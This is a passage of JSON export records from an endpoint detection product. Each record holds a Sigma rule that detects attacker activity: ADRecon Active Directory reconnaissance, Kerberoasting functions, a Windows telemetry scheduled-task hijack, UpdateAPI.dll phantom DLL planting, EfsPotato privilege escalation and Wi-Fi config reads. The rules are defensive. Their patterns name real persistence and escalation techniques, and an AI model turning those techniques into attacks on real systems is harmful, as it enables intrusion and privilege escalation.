+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606425Z",
+  "creation_date": "2026-03-23T11:45:34.606428Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606436Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/",
+    "https://github.com/sense-of-security/ADRecon/",
+    "https://attack.mitre.org/techniques/T1069/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_adrecon_usage.yml",
+  "content": "title: ADRecon Execution\nid: b055e773-e224-4c61-9498-88eb2239b128\ndescription: |\n    Detects the usage of ADRecon, a PowerShell tool designed to gather extensive information about an Active Directory environment.\n    Adversaries may use this type of tool during the discovery phase to gather information about the Active Directory and corporate network.\n    It is recommended to investigate the context around action to determine its legitimacy and to look for other suspicious actions on the host.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/\n    - https://github.com/sense-of-security/ADRecon/\n    - https://attack.mitre.org/techniques/T1069/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/05/04\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1069.001\n    - attack.t1069.002\n    - attack.t1018\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Tool.ADRecon\n    - classification.Windows.Behavior.ActiveDirectory\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        - PowershellScriptPath|endswith: '\\ADRecon.ps1'\n        - PowershellCommand|contains:\n            - 'Function Get-ADRDomain'\n            - 'Function Get-ADRForest'\n            - 'Function Get-ADRTrust'\n            - 'Function Get-ADRSite'\n            - 'Function Get-ADRSubnet'\n            - 'Function Get-ADRDefaultPasswordPolicy'\n            - 'Function Get-ADRFineGrainedPasswordPolicy'\n            - 'Function Get-ADRDomainController'\n            - 'Function Get-ADRUser'\n            - 'Function Get-ADRUserSPN'\n            - 'Function Get-ADRPasswordAttributes'\n            - 'Function Get-ADRGroup'\n            - 'Function Get-ADRGroupMember'\n            - 'Function Get-ADROU'\n            - 'Function Get-ADRGPO'\n            - 'Function Get-ADRGPLink'\n            - 'Function Get-ADRDNSZone'\n            - 'Function Get-ADRPrinter'\n            - 'Function Get-ADRComputer'\n            - 'Function Get-ADRComputerSPN'\n            - 'Function Get-ADRLAPSCheck'\n            - 'Function Get-ADRBitLocker'\n            - 'Function Get-ADRACL'\n            - 'Function Get-ADRGPOReport'\n            - 'Function Get-ADRUserImpersonation'\n            - 'Function Get-ADRRevertToSelf'\n            - 'Function Get-ADRSPNTicket'\n            - 'Function Get-ADRKerberoast'\n            - 'Function Get-ADRDomainAccountsusedforServiceLogon'\n            - 'Function Get-ADRAbout'\n            - 'Function Invoke-ADRecon'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b055e773-e224-4c61-9498-88eb2239b128",
+  "rule_name": "ADRecon Execution",
+  "rule_description": "Detects the usage of ADRecon, a PowerShell tool designed to gather extensive information about an Active Directory environment.\nAdversaries may use this type of tool during the discovery phase to gather information about the Active Directory and corporate network.\nIt is recommended to investigate the context around action to determine its legitimacy and to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2022-05-04",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1059.001",
+    "attack.t1069.001",
+    "attack.t1069.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b05fdca4-d28a-48e3-aeaa-0003e6db65f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617846Z",
+  "creation_date": "2026-03-23T11:45:34.617849Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617853Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1016/002/"
+  ],
+  "name": "t1016_002_read_airport_plist.yml",
+  "content": "title: Suspicious Read Access to Airport Preferences\nid: b05fdca4-d28a-48e3-aeaa-0003e6db65f8\ndescription: |\n    Detects a process reading sensitive files related to the Wi-Fi configuration.\n    Adversaries may read these files in order to gather information about the internet connection.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1016/002/\ndate: 2024/07/03\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1016.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n    selection_files:\n        Kind: 'read'\n        Path: '/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist'\n        ProcessImage|contains: '?'\n\n    filter_network_systemapp:\n        ProcessImage:\n            - '/System/Library/CoreServices/WiFiAgent.app/Contents/MacOS/WiFiAgent'\n            - '/System/Library/CoreServices/ControlCenter.app/Contents/MacOS/ControlCenter'\n            - '/System/Library/CoreServices/ControlCenter.app/Contents/XPCServices/ControlCenterHelper.xpc/Contents/MacOS/ControlCenterHelper'\n            - '/System/Library/ExtensionKit/Extensions/Sharing.appex/Contents/MacOS/Sharing'\n            - '/usr/sbin/WirelessRadioManagerd'\n            - '/usr/sbin/system_profiler'\n            - '/usr/libexec/airportd'\n            - '/usr/sbin/networksetup'\n            - '/system/applications/utilities/airport utility.app/contents/macos/airport utility'\n            - '/usr/bin/sysdiagnose'\n\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_fsecure:\n        Image: '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n\n    ### misc\n    exclusion_vscode:\n        Image: '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n\n    exclusion_mac_screen_recorder:\n        Image: '/applications/aiseesoft mac screen recorder.app/contents/macos/loader'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.macpaw.CleanMyMac*'\n\n    exclusion_epson:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.epson.InstallNavi'\n\n    exclusion_kobo:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.kobo.desktop.Kobo'\n\n    exclusion_5kplayer:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.digiarty.5KPlayer'\n\n    exclusion_snapgene:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.gslbiotech.snapgene'\n\n    exclusion_webex:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'Cisco-Systems.Spark'\n            - 'Cisco-Systems.SparkHelper'\n\n    exclusion_clickshare:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.barco.clickshare'\n\n    exclusion_google_earth:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.Google.GoogleEarthPro'\n\n    exclusion_skype:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.skype.skype.Helper-(Renderer)'\n\n    exclusion_remoteservice:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.preference.network.remoteservice'\n\n    exclusion_bluetooth:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.apple.bluetoothd'\n\n    exclusion_fixppo:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'MF.iMyFone Fixppo'\n\n    exclusion_macfonelab:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.aiseesoft.mac-fonelab'\n\n    exclusion_fonepaw:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.fonepaw.fonepaw-iphone-data-recovery'\n\n    exclusion_fonetrans:\n        - ProcessImage: '/Users/*/Mac FoneTrans.app/Contents/MacOS/CountStatistics'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.aiseesoft.mac-fonetrans'\n\n    exclusion_aiseesoft:\n        ProcessImage: '/Users/*/Aiseesoft iPhone Unlocker for Mac.app/Contents/MacOS/Loader'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'com.trolltech.qt.demo'\n\n    exclusion_canon:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'jp.co.canon.MSU.app.Installer'\n\n    exclusion_app_folder:\n        ProcessImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/bin/ditto'\n            - '/sbin/md5'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b05fdca4-d28a-48e3-aeaa-0003e6db65f8",
+  "rule_name": "Suspicious Read Access to Airport Preferences",
+  "rule_description": "Detects a process reading sensitive files related to the Wi-Fi configuration.\nAdversaries may read these files in order to gather information about the internet connection.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-07-03",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b06cadad-e5ef-4e7d-9b96-5edc93279559",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089798Z",
+  "creation_date": "2026-03-23T11:45:34.089800Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089805Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/",
+    "https://attack.mitre.org/techniques/T1112/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_registry_persistence_telemetry_hijack.yml",
+  "content": "title: Microsoft Compatibility Appraiser Scheduled Task Hijack\nid: b06cadad-e5ef-4e7d-9b96-5edc93279559\ndescription: |\n    Detects the hijacking of the Microsoft Compatibility Appraiser scheduled task (aka Windows Telemetry) with a custom command which will be launched once a day.\n    This requires administrators privileges as a new entry in HKLM registry hive needs to be set.\n    The new command is launched as a child process of CompatTelRunner.exe.\n    It is recommended to investigate the concerned Scheduled Task as well as any spawned processes to determine if they are legitimate.\nreferences:\n    - https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/\n    - https://attack.mitre.org/techniques/T1112/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2020/09/29\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\\\*\\Command'\n\n    exclusion_details:\n        Details|endswith:\n            - '\\system32\\CompatTelRunner.exe -m:appraiser.dll -f:DoScheduledTelemetryRun'  # Appraiser\n            - '\\system32\\CompatTelRunner.exe -m:appraiser.dll -f:UpdateAvStatus'  # AvStatus\n            - '\\system32\\CompatTelRunner.exe -m:devinv.dll -f:CreateDeviceInventory'  # DevInv\n            - '\\system32\\CompatTelRunner.exe -m:invagent.dll -f:RunUpdate' # InvAgent\n            - '\\system32\\CompatTelRunner.exe -m:generaltel.dll -f:DoCensusRun'\n            - '\\system32\\CompatTelRunner.exe -m:pcasvc.dll -f:QueryEncapsulationSettings'\n            - 'BackupMareData'\n            - '(Empty)' # Ignore empty (possibly delete)\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b06cadad-e5ef-4e7d-9b96-5edc93279559",
+  "rule_name": "Microsoft Compatibility Appraiser Scheduled Task Hijack",
+  "rule_description": "Detects the hijacking of the Microsoft Compatibility Appraiser scheduled task (aka Windows Telemetry) with a custom command which will be launched once a day.\nThis requires administrators privileges as a new entry in HKLM registry hive needs to be set.\nThe new command is launched as a child process of CompatTelRunner.exe.\nIt is recommended to investigate the concerned Scheduled Task as well as any spawned processes to determine if they are legitimate.\n",
+  "rule_creation_date": "2020-09-29",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b0b0c15c-93de-4ac0-9940-ec34b680020f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088730Z",
+  "creation_date": "2026-03-23T11:45:34.088732Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088737Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.hexacorn.com/blog/2024/09/05/technical-debt-of-cwindowssystem-path/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_updateapi.yml",
+  "content": "title: UpdateAPI.dll Phantom DLL Hijacking\nid: b0b0c15c-93de-4ac0-9940-ec34b680020f\ndescription: |\n    Detects the non-existing UpdateAPI.dll file loaded from Windows Folder.\n    Adversaries may execute their own malicious payloads by planting a DLL in \"C:\\windows\" path to exploit the Windows DLL search order.\n    It is recommended to investigate the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.hexacorn.com/blog/2024/09/05/technical-debt-of-cwindowssystem-path/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/09/10\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded:\n            - '?:\\Windows\\UpdateAPI.dll'\n            - '?:\\Windows\\system\\UpdateAPI.dll'\n            - '?:\\Windows\\system32\\UpdateAPI.dll'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b0b0c15c-93de-4ac0-9940-ec34b680020f",
+  "rule_name": "UpdateAPI.dll Phantom DLL Hijacking",
+  "rule_description": "Detects the non-existing UpdateAPI.dll file loaded from Windows Folder.\nAdversaries may execute their own malicious payloads by planting a DLL in \"C:\\windows\" path to exploit the Windows DLL search order.\nIt is recommended to investigate the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2024-09-10",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b0b2818b-2803-4a79-b1f2-7a0f323fc955",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622570Z",
+  "creation_date": "2026-03-23T11:45:34.622572Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622576Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/"
+  ],
+  "name": "t1033_query_user.yml",
+  "content": "title: Local User List Discovered via query.exe\nid: b0b2818b-2803-4a79-b1f2-7a0f323fc955\ndescription: |\n    Detects the execution of \"query user\" to discover the list of local users.\n    Attackers may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system.\n    It is recommended to analyze the parent and grandparent processes and their respective child processes to look for malicious content or actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2021/05/17\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\query.exe'\n        # Renamed binaries\n        - OriginalFileName: 'query.exe'\n    selection_cmd:\n        CommandLine|contains: 'user'\n\n    exclusion_programfiles:\n        GrandparentImage|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_amazon:\n        ParentImage|endswith: '\\powershell.exe'\n        ParentCommandLine|contains|all:\n            - '-NonInteractive'\n            - '-ExecutionPolicy AllSigned'\n            - '?:\\Program Files\\Amazon\\WorkSpacesConfig\\Scripts\\'\n\n    exclusion_sharepoint:\n        ParentCommandLine|contains: '?:\\Program Files\\windowspowershell\\modules\\sharepointserver\\sharepoint.ps1'\n\n    exclusion_nuance:\n        ProcessParentOriginalFileName: 'SoD.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Nuance Communications Inc.'\n\n    exclusion_xgate:\n        ProcessGrandparentImage|endswith: '\\xGate.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature:\n            - 'Axeda Corporation'\n            - 'PTC Inc.'\n\n    exclusion_forescout:\n        - ProcessParentCommandLine:\n            - 'cscript //U //nologo ?:\\Windows\\\\*\\fstmpsc\\fs_action_*_body.vbs *'\n            - 'cscript //U //nologo ?:\\Windows\\\\*\\fstmp\\fs_action_*_body.vbs *'\n            - 'cscript //U //nologo ?:\\Windows\\\\*\\forescout\\fs_action_*_body.vbs *'\n        - ProcessAncestors|contains: '|?:\\Program Files\\ForeScout SecureConnector\\SecureConnector.exe|'\n\n    exclusion_medical_dragon:\n        ProcessParentImage|endswith: '\\Nuance\\Dragon Medical One\\sod.exe'\n\n    exclusion_grandparent:\n        ProcessGrandparentImage:\n            - '?:\\Windows\\Prey\\versions\\\\*\\bin\\node.exe'\n            - '?:\\ProgramData\\NinjaRMMAgent\\components\\app-patching-orbit\\NinjaOrbit.exe'\n            - '?:\\Windows\\System32\\WUDFHost.exe'\n\n    exclusion_generic_parentcommandline:\n        ProcessParentCommandLine:\n            - '*powershell.exe *-f* ?:\\Scripts\\\\*.ps1'\n            - '*powershell.exe \\\\\\\\*.ps1'\n            - '*powershell.exe *?:\\ProgramData\\\\*.ps1'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b0b2818b-2803-4a79-b1f2-7a0f323fc955",
+  "rule_name": "Local User List Discovered via query.exe",
+  "rule_description": "Detects the execution of \"query user\" to discover the list of local users.\nAttackers may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system.\nIt is recommended to analyze the parent and grandparent processes and their respective child processes to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-05-17",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b0fcc9c7-a08a-4ab6-bc1f-d71cb1f63179",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610214Z",
+  "creation_date": "2026-03-23T11:45:34.610217Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610225Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/zcgonvh/EfsPotato/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_efs_potato_named_pipe.yml",
+  "content": "title: EfsPotato Named Pipe Created\nid: b0fcc9c7-a08a-4ab6-bc1f-d71cb1f63179\ndescription: |\n    Detects the creation of a named pipe related to the EfsPotato privilege escalation tool.\n    EFSPotato exploits the SeImpersonatePrivilege usually held by services to elevate their privileges.\n    It is recommended to investigate the process that created the named pipe and its potential child processes, as well as processes that connected to the named pipe.\nreferences:\n    - https://github.com/zcgonvh/EfsPotato/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/02/01\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.HackTool.EfsPotato\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName|endswith: '\\\\????????-????-????-????-????????????\\pipe\\srvsvc'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "b0fcc9c7-a08a-4ab6-bc1f-d71cb1f63179",
+  "rule_name": "EfsPotato Named Pipe Created",
+  "rule_description": "Detects the creation of a named pipe related to the EfsPotato privilege escalation tool.\nEFSPotato exploits the SeImpersonatePrivilege usually held by services to elevate their privileges.\nIt is recommended to investigate the process that created the named pipe and its potential child processes, as well as processes that connected to the named pipe.\n",
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "b12c49d5-235d-4f76-978f-983e26a93de7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083480Z",
+  "creation_date": "2026-03-23T11:45:34.083482Z",
+  "enabled": true,
+  "hl_status": "stable",
